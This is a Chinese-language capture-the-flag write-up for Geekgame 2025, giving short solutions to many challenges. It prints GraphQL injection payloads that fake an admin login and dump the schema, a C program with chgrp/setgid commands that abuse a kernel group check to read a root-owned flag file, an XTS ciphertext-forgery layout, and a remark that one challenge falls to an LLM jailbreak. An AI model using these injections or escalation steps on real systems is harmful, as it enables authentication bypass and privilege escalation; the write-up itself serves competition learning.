Geekgame 2025 Writeup

目前部分题目只有简略的思路,以后可能会扩充。

签到

要注意 Data Matrix 的顺序就是图片上相对位置的顺序,一开始没想到这个一直在手动拼 Flag 卡了好久。

北清问答

北京大学新燕园校区的教学楼在启用时,全部教室共有多少座位(不含讲桌)?

根据 公共教学楼服务指南 (新燕园校区) 手动数数即可。

基于 SwiftUI 的 iPad App 要想让图片自然延伸到旁边的导航栏(如右图红框标出的效果),需要调用视图的什么方法?

img-pingguoxitong

以 Sidebar 为关键词搜索查阅文档易得答案为 backgroundExtensionEffect 方法。

右图这张照片是在飞机的哪个座位上拍摄的?

img-quanguokefei

明显看出来是在窄体机的中间座位,图片稍微处理后让 Google Lens 识别可以知道国航的飞机。再加上我看这个挺熟悉的,而我坐过的窄体机只有 Boeing 737 和 Airbus A320 。社交媒体上面查询出来有一张 A321-200 的飞机内饰有点像,航旅纵横看了座位号填上去就好了。

注意到比赛平台题目页面底部的【复制个人Token】按钮了吗?本届改进了 Token 生成算法,UID 为 1234567890 的用户生成的个人 Token 相比于上届的算法会缩短多少个字符?

根据 Commit bcd71d3 手动模拟即可。

最后一个默认情况下允许安装 Manifest V1 .crx 扩展程序的 Chrome 正式版本是多少?

Google 一下就行了,搜到了这个

此论文 提到的 YOLOv12-L 目标检测模型实际包含多少个卷积算子?

import torch
from torch import nn
from ultralytics import YOLO

model = YOLO('yolo12l.pt').model
print(sum(1 for module in model.modules() if isinstance(module, nn.Conv2d)))

Warden++

从题面只能得知编译结果就可以看出是侧信道攻击。构造出一种在 flag 满足某种条件时编译成功的语句多次交互可以得到结果。

开源论文太少了!

字面意思,Figure1 纵坐标就是 Flag1 各个字符的 ASCII 码取对数后的值, Figure2 各个散点的横纵坐标分别是 Flag2 各个半字节的低两位和高两位,顺序是层叠顺序。 PDF 转 SVG 后一目了然。

勒索病毒

搜索关于 DoNex 勒索病毒破解的资料,配合仓库里面去年的对应加密前的文件即可解密获得 Flag1

统一身份认证

好麻烦的注入题……基本逻辑是把第二行以及后面的 alias 到别的名称上去废除掉,原先的地方让 isAdmin 始终 ok 。

pass" ) { login: login(username: $username, password: $password) { ok isAdmin: ok username } fake: #

第二题用

pass" ) { login: __schema { ok: types { name } isAdmin: queryType { name } username: types { name kind fields(includeDeprecated: true) { name type { name kind ofType { name kind ofType { name kind }}}}}} fake: #

获取 Schema 。通过 Schema 构建查询获取 flag2

pass" ) { login: secret { ... on Secret { username: secret_L1sN{secret_ufjb{secret_WJRt{secret_wVcG{secret_NqTI{secret_XBuh{flag2}}}}}}, ok: secret_L1sN{secret_ufjb{secret_WJRt{secret_wVcG{secret_NqTI{secret_XBuh{flag2}}}}}}}} fake: #

EzMCP

对于 Flag1 来说, POST 一下 /enable_builtin_tools 启用内置工具,接下来就是正常的 LLM Jailbreak 了。

提权潜兵 · 新指导版

根据 [BUG] 本地提权漏洞 里面的提示利用 TOCTOU 提权即可。

高可信数据大屏

团结引擎

Flag1 和 Flag3 都可以用 Cheat Engine 直接找实例化的 Object 读出参数直接解密。

Flag2 利用 AssetRipper 即可。

枚举高手的 bomblab 审判

7 岁的毛毛:我要写 Java

传统 C 语言核易危

阅读源码可以知道 set_group 函数出现了问题,它添加的检查只检查了是否为文件所有者,于是我们可以創建一個文件,并把用户组改成 0 来提权。

#include <fcntl.h>
#include <unistd.h>

int main() {
    int fd = open("/flag1.txt", O_RDONLY);
    if (fd < 0) return 1;

    char buf[256];
    int n;
    while ((n = read(fd, buf, 256)) > 0)
        write(1, buf, n);

    close(fd);
    return 0;
}

然后

chmod +x /tmp/payload
busybox chgrp 0 /tmp/payload
chmod g+s /tmp/payload
/tmp/payload

股票之神

纯手打的。大概思路是开个尽量低的限价单使得 Truth👎 两次之后能满仓。之后等到基本稳定再高速抛售,抛售完毕之后差不多能过 Flag1 了。然后继续重复,基本上第二次就能拿到三个 Flag 。

千年讲堂的方形轮子 II

由于 XTS 模式除了最后两个分组,其他分组的加密结果只和该分组明文以及分组位置有关。再加上我们可以通过 name 字段控制组的内容,

Flag1 最后构建出类似

{"stuid": "12345
67890", "name": 
"ABCDE", "flag":
9999999999999999
, "timestamp": 1
145141919810}

的东西

Flag2 最后构建出的类似

{"stuid": "12345
67890", "name": 
"ABCDE", "flag":
            true
, "code": "00000
8888888888888888
", "timestamp": 
1145141919810}

的东西,8888888888888888 那一行可以塞到别的 name 字段里面。前面五位已经暴露了四位,剩下一位暴力就行()

高级剪切几何

Flag1 使用其他模型拿到 ground truth 即可。唉最开始没想到这个找了很多 PGD Attacks 相关的文章,最终识别结果也不是很理想。

滑滑梯加密

Flag1 暴力足够了。